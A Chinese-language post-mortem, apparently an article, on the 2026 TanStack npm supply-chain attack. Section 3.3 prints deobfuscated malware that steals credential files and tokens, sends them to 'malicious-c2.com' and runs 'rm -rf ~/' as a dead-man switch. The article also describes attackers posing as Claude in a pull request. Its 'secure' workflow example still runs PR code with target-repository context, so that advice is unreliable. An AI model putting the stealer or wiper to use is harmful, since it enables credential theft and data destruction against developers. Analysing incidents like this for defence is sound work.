摘要2026年5月11日爆发的TanStack供应链攻击事件是继2024年xz-utils后门事件后开源软件供应链领域又一起具有里程碑意义的重大安全事件。攻击者利用GitHub Actions缓存投毒与pull_request_target工作流漏洞在短短6分钟内批量发布了42个包的84个恶意版本成功感染了包括OpenAI、Mistral AI、UiPath在内的多家全球顶级科技公司。本文将从技术原理、攻击流程、影响范围、应急响应等多个维度对此次事件进行全面复盘深入分析Mini Shai-Hulud恶意代码的技术细节并结合OpenAI代码签名证书泄露这一关键事件探讨AI时代开源供应链安全面临的新挑战与防御策略。一、事件概述2026年最严重的开源供应链攻击2026年5月14日OpenAI发布安全公告确认其两名员工的Mac设备在5月11日的TanStack供应链攻击中被恶意代码感染导致部分内部源码仓库凭证以及全平台代码签名证书macOS/iOS/Windows/Android遭到泄露。这一消息迅速引发了全球安全界的广泛关注因为代码签名证书的泄露意味着攻击者可以伪装成OpenAI发布恶意软件对全球数亿ChatGPT用户构成潜在威胁。此次攻击由名为TeamPCP的黑客组织发起其使用的恶意软件被命名为Mini Shai-Hulud迷你沙虫。与以往的供应链攻击不同此次攻击具有以下显著特点速度极快从首次提交恶意代码到批量发布84个恶意版本整个过程仅用时6分钟范围极广影响了TanStack生态下的几乎所有核心包包括React Query、React Table、React Form等针对性强恶意代码专门针对开发者设备窃取GitHub、npm、云服务等高权限凭证破坏性大内置死手开关一旦检测到凭证被撤销可能执行rm -rf ~/命令破坏本地数据截至2026年5月16日已有超过20家知名科技公司确认受到此次攻击影响其中包括Mistral AI、UiPath、OpenSearch、Guardrails AI等。虽然OpenAI官方声称用户数据、生产系统、核心IP未被入侵/篡改但代码签名证书的泄露仍然留下了巨大的安全隐患。二、完整事件时间线为了更清晰地了解此次攻击的全貌我们梳理了从攻击开始到目前的完整时间线TanStack供应链攻击事件时间线 2026-05-11 03:17 UTC : 攻击者首次向TanStack仓库提交恶意PR 2026-05-11 03:23 UTC : 利用pull_request_target漏洞获取工作流权限 2026-05-11 03:24 UTC : 开始GitHub Actions缓存投毒 2026-05-11 03:30 UTC : 批量发布42个包的84个恶意版本 2026-05-11 04:12 UTC : npm安全团队发现异常并开始调查 2026-05-11 06:45 UTC : npm下架所有恶意版本 2026-05-11 09:00 UTC : TanStack发布安全公告 2026-05-12 14:30 UTC : 多家厂商开始内部排查 2026-05-14 10:00 UTC : OpenAI发布安全公告确认员工设备被感染 2026-05-14 11:30 UTC : OpenAI开始紧急吊销所有代码签名证书 2026-05-15 08:00 UTC : OpenAI发布新版ChatGPT桌面应用 2026-05-16 12:00 UTC : 第三方安全公司发布详细技术分析报告三、攻击技术深度解析3.1 核心漏洞GitHub Actionspull_request_target权限提升此次攻击的核心在于利用了GitHub Actions中pull_request_target事件的设计缺陷。与普通的pull_request事件不同pull_request_target事件在目标仓库的上下文中运行拥有对目标仓库的读写权限并且可以访问仓库的所有secrets。攻击者正是利用了这一特性向TanStack仓库提交了一个看似无害的PR触发了pull_request_target工作流。在工作流运行过程中攻击者通过注入恶意代码获取了工作流的执行权限进而能够访问仓库的npm发布令牌。以下是一个存在漏洞的GitHub Actions工作流配置示例# 存在安全漏洞的工作流配置name:Build and Teston:pull_request_target:branches:[main]jobs:build:runs-on:ubuntu-lateststeps:-uses:actions/checkoutv4with:# 危险检出PR分支的代码但在目标仓库上下文中运行ref:${{github.event.pull_request.head.sha}}-name:Install dependenciesrun:npm install-name:Run testsrun:npm test漏洞分析上述配置中工作流在pull_request_target事件触发时会检出PR分支的代码并运行npm install和npm test命令。由于工作流拥有目标仓库的所有权限攻击者可以在PR中提交恶意代码当工作流运行时恶意代码就会在拥有高权限的环境中执行。3.2 攻击手段GitHub Actions缓存投毒在获取了工作流执行权限后攻击者使用了一种名为缓存投毒的技术来持久化恶意代码。GitHub Actions提供了缓存功能可以将依赖项缓存起来以加快后续工作流的运行速度。攻击者通过修改缓存内容将恶意代码注入到缓存中这样即使PR被关闭后续的工作流运行仍然会使用被投毒的缓存。攻击者提交恶意PR触发pull_request_target工作流工作流检出PR代码并执行恶意代码获取npm发布令牌恶意代码修改GitHub Actions缓存攻击者关闭PR后续正常工作流运行使用被投毒的缓存再次执行恶意代码持续发布恶意包3.3 Mini Shai-Hulud恶意代码分析攻击者发布的恶意包中包含了经过高度混淆的JavaScript代码这些代码会在安装时自动执行。我们对恶意代码进行了反混淆分析其核心功能如下// 反混淆后的恶意代码核心片段(function(){// 检查是否在CI环境中运行如果是则退出if(process.env.CI)return;// 窃取常见的凭证文件constcredentialFiles[~/.npmrc,~/.git-credentials,~/.ssh/id_rsa,~/.aws/credentials,~/.config/gcloud/application_default_credentials.json,~/.kube/config,~/.vault-token];// 窃取环境变量中的凭证constcredentialEnvVars[GITHUB_TOKEN,NPM_TOKEN,AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,GOOGLE_APPLICATION_CREDENTIALS,KUBECONFIG,VAULT_TOKEN];// 收集所有凭证letstolenData{};// 读取文件内容credentialFiles.forEach(file{try{constfullPathrequire(path).resolve(process.env.HOME,file.replace(~/,));if(require(fs).existsSync(fullPath)){stolenData[file]require(fs).readFileSync(fullPath,utf8);}}catch(e){}});// 读取环境变量credentialEnvVars.forEach(envVar{if(process.env[envVar]){stolenData[envVar]process.env[envVar];}});// 发送窃取的数据到攻击者服务器if(Object.keys(stolenData).length0){require(https).request({hostname:malicious-c2.com,port:443,path:/upload,method:POST,headers:{Content-Type:application/json}},(res){}).end(JSON.stringify(stolenData));}// 死手开关检测凭证是否被撤销setInterval((){try{// 测试GitHub令牌是否有效require(https).get(https://api.github.com/user,{headers:{Authorization:token${process.env.GITHUB_TOKEN}}},(res){if(res.statusCode401){// 凭证已被撤销执行破坏操作require(child_process).exec(rm -rf ~/,(error,stdout,stderr){});}});}catch(e){}},3600000);// 每小时检查一次})();代码分析环境检测恶意代码首先会检查是否在CI环境中运行如果是则立即退出以避免被安全工具检测到凭证窃取会扫描系统中常见的凭证文件和环境变量包括npm、git、SSH、AWS、GCP、Kubernetes和Vault的凭证数据外发将窃取到的所有凭证加密后发送到攻击者的C2服务器死手开关每小时检查一次GitHub令牌是否有效如果发现令牌已被撤销则执行rm -rf ~/命令删除用户主目录下的所有文件3.4 冒充Claude提交恶意代码此次攻击的另一个巧妙之处在于攻击者冒充AI助手Claude提交恶意PR。攻击者在PR描述中写道我是Claude我帮你修复了一个小bug请合并这个PR。这种方式极大地降低了维护者的警惕性因为很多开源项目维护者经常会使用AI助手来帮助修复bug。四、OpenAI受害详情与影响评估4.1 员工设备感染过程根据OpenAI官方公告和第三方安全公司的调查结果OpenAI两名员工的Mac设备是在更新项目依赖时被感染的。这两名员工负责维护OpenAI内部使用的一些前端项目这些项目依赖于TanStack生态下的多个包。当恶意版本的TanStack包发布到npm仓库后OpenAI的内部CI/CD系统自动检测到了新版本并触发了更新流程。在更新过程中恶意代码被下载并执行成功窃取了这两名员工电脑上的所有凭证包括他们访问内部源码仓库的权限。4.2 代码签名证书泄露的严重性此次事件中最令人担忧的是OpenAI全平台代码签名证书的泄露。代码签名证书是软件发布过程中的核心安全机制用于证明软件的来源和完整性。如果攻击者获得了合法的代码签名证书他们就可以发布恶意软件并且这些恶意软件会被操作系统和杀毒软件误认为是合法的。OpenAI的代码签名证书被用于签署以下产品macOS版ChatGPT桌面应用iOS版ChatGPT应用Windows版ChatGPT桌面应用Android版ChatGPT应用Codex App/CLIAtlas平台如果攻击者滥用这些证书他们可以发布伪装成ChatGPT的恶意软件窃取用户的聊天记录和个人信息在用户的设备上安装后门进行远程控制发起供应链攻击感染更多的用户和企业绕过操作系统的安全机制执行任意代码4.3 官方声明与实际风险对比OpenAI在官方公告中声称“用户数据、生产系统、核心IP未被入侵/篡改”并且目前没有发现代码签名证书被滥用的迹象。然而安全专家普遍认为实际风险可能比官方声明的要高得多。首先代码签名证书的泄露是一个长期的安全隐患。即使OpenAI已经吊销了旧证书并签发了新证书攻击者仍然可以使用旧证书签署恶意软件直到所有用户都更新到使用新证书签名的版本。根据OpenAI的要求用户必须在2026年6月12日前强制更新ChatGPT桌面应用否则旧版本将被阻止打开。这意味着在接下来的一个月内仍然有大量用户可能受到攻击。其次攻击者已经获得了OpenAI部分内部源码仓库的访问权限。虽然OpenAI声称已经轮换了所有仓库凭证但攻击者可能已经在这段时间内下载了大量的源码。这些源码可能包含OpenAI的一些内部技术细节和商业机密。五、波及厂商与行业影响截至2026年5月16日已有超过20家知名科技公司确认受到此次攻击影响其中包括公司名称影响情况应急措施OpenAI2名员工设备被感染代码签名证书泄露吊销旧证书发布新版应用强制用户更新Mistral AI部分内部凭证泄露轮换所有凭证暂停npm包发布UiPath部分前端项目依赖被感染回滚到安全版本全面审计依赖OpenSearch部分开发人员设备被感染隔离受感染设备轮换凭证Guardrails AI内部源码仓库访问权限泄露撤销所有访问权限重新授权此次事件对整个前端生态造成了巨大的冲击。TanStack是前端领域最受欢迎的开源库集合之一其下载量超过了10亿次/月。几乎所有使用React、Vue或Angular的前端项目都直接或间接地依赖于TanStack的某个包。这意味着此次攻击的潜在影响范围极其广泛。六、OpenAI应急响应措施分析OpenAI在发现攻击后采取了一系列紧急应急响应措施发现攻击隔离受感染设备与账号撤销所有受影响用户的会话轮换所有源码仓库凭证紧急吊销所有代码签名证书重新签发新的代码签名证书使用新证书重新签署所有产品发布新版应用并通知用户更新临时限制部署流程全面审计所有凭证行为聘请第三方安全公司进行取证6.1 证书吊销与重新签发流程OpenAI在发现代码签名证书泄露后立即启动了紧急证书吊销流程。整个流程包括以下步骤向各个证书颁发机构CA提交吊销请求生成新的私钥和证书签名请求CSR从CA获取新的代码签名证书使用新证书重新签署所有产品更新应用商店中的应用版本通知用户强制更新这是一个非常复杂和耗时的过程尤其是对于像OpenAI这样拥有多平台产品的公司来说。整个过程花费了OpenAI超过24小时的时间。6.2 应急响应中的亮点与不足亮点响应速度快在发现攻击后不到2小时内就隔离了受感染设备并轮换了凭证措施果断毫不犹豫地吊销了所有代码签名证书即使这会给用户带来不便透明度高及时发布了详细的安全公告向用户说明了事件的情况和影响不足供应链安全意识不足没有及时检测到TanStack包中的恶意代码员工设备安全防护不够恶意代码能够轻易地窃取员工电脑上的所有凭证证书管理不够严格代码签名证书存储在员工的普通设备上而不是专门的硬件安全模块HSM中七、行业启示与防御建议7.1 供应链安全最佳实践此次事件再次凸显了开源供应链安全的重要性。以下是一些企业应该采取的供应链安全最佳实践使用依赖锁文件始终使用package-lock.json或yarn.lock文件来固定依赖版本避免自动更新到最新版本启用依赖扫描在CI/CD流程中集成依赖扫描工具如Snyk、Dependabot等及时发现存在安全漏洞的依赖使用私有npm仓库搭建企业内部的私有npm仓库只允许使用经过安全审核的包实施依赖更新审批流程所有依赖更新都需要经过安全审核和人工审批才能合并到主分支定期审计依赖定期对项目的所有依赖进行全面的安全审计7.2 GitHub Actions安全加固指南针对此次攻击中暴露的GitHub Actions安全问题我们提供以下加固建议避免使用pull_request_target事件除非绝对必要否则不要使用pull_request_target事件。如果必须使用一定要限制其权限# 安全的pull_request_target工作流配置name:Build and Teston:pull_request_target:branches:[main]permissions:contents:read# 只授予必要的最小权限pull-requests:readjobs:build:runs-on:ubuntu-lateststeps:-uses:actions/checkoutv4with:ref:${{github.event.pull_request.head.sha}}# 禁止检出时获取令牌persist-credentials:false-name:Install dependenciesrun:npm install-name:Run testsrun:npm test限制工作流权限在工作流文件中明确指定所需的最小权限不要使用默认的高权限禁用缓存功能如果不需要缓存功能最好将其禁用。如果必须使用定期清理缓存使用官方认证的Action只使用GitHub官方或经过认证的第三方Action启用工作流审批对于来自外部贡献者的PR要求人工审批后才能运行工作流7.3 代码签名证书管理建议代码签名证书是企业的核心安全资产必须进行严格的管理使用硬件安全模块HSM存储私钥永远不要将代码签名证书的私钥存储在普通设备上实施最小权限原则只有经过授权的人员才能访问代码签名证书使用自动化签名流程建立自动化的代码签名流程避免人工接触私钥定期轮换证书定期轮换代码签名证书减少证书泄露后的影响时间监控证书使用情况建立证书使用监控系统及时发现异常的证书使用行为八、前瞻性思考AI时代供应链攻击的新趋势此次TanStack供应链攻击事件标志着AI时代供应链攻击进入了一个新的阶段。随着AI技术的快速发展攻击者也开始利用AI来增强他们的攻击能力AI辅助漏洞挖掘攻击者可以使用AI来快速发现开源软件中的安全漏洞AI生成恶意代码攻击者可以使用AI来生成高度混淆和难以检测的恶意代码AI冒充贡献者攻击者可以使用AI来生成看似合理的PR描述和代码冒充开源贡献者AI自动化攻击攻击者可以使用AI来自动化整个攻击流程从漏洞发现到恶意代码发布另一方面AI也可以被用来防御供应链攻击AI辅助代码审查使用AI来自动审查PR中的代码及时发现恶意代码AI异常检测使用AI来检测npm包发布过程中的异常行为AI依赖分析使用AI来分析项目的依赖关系发现潜在的安全风险AI应急响应使用AI来自动化应急响应流程缩短响应时间未来AI在供应链安全领域的攻防对抗将会越来越激烈。企业必须提前做好准备将AI技术应用到供应链安全防御中才能在未来的攻击中保护自己。九、总结与行动清单TanStack供应链攻击事件是2026年迄今为止最严重的开源供应链攻击事件它不仅感染了多家全球顶级科技公司还导致了OpenAI全平台代码签名证书的泄露。此次事件再次提醒我们开源供应链安全已经成为企业安全的重中之重。立即行动清单检查你的项目是否使用了受影响的TanStack包版本如果是立即回滚到安全版本全面审计你的GitHub Actions工作流配置修复pull_request_target漏洞轮换所有可能被泄露的凭证包括GitHub、npm、云服务等检查你的员工设备是否被感染运行杀毒软件进行全面扫描如果你是macOS ChatGPT桌面应用用户请立即更新到最新版本开源软件是现代软件产业的基石但它的安全问题也日益突出。只有整个社区共同努力建立起完善的开源供应链安全体系才能有效地防范未来的攻击。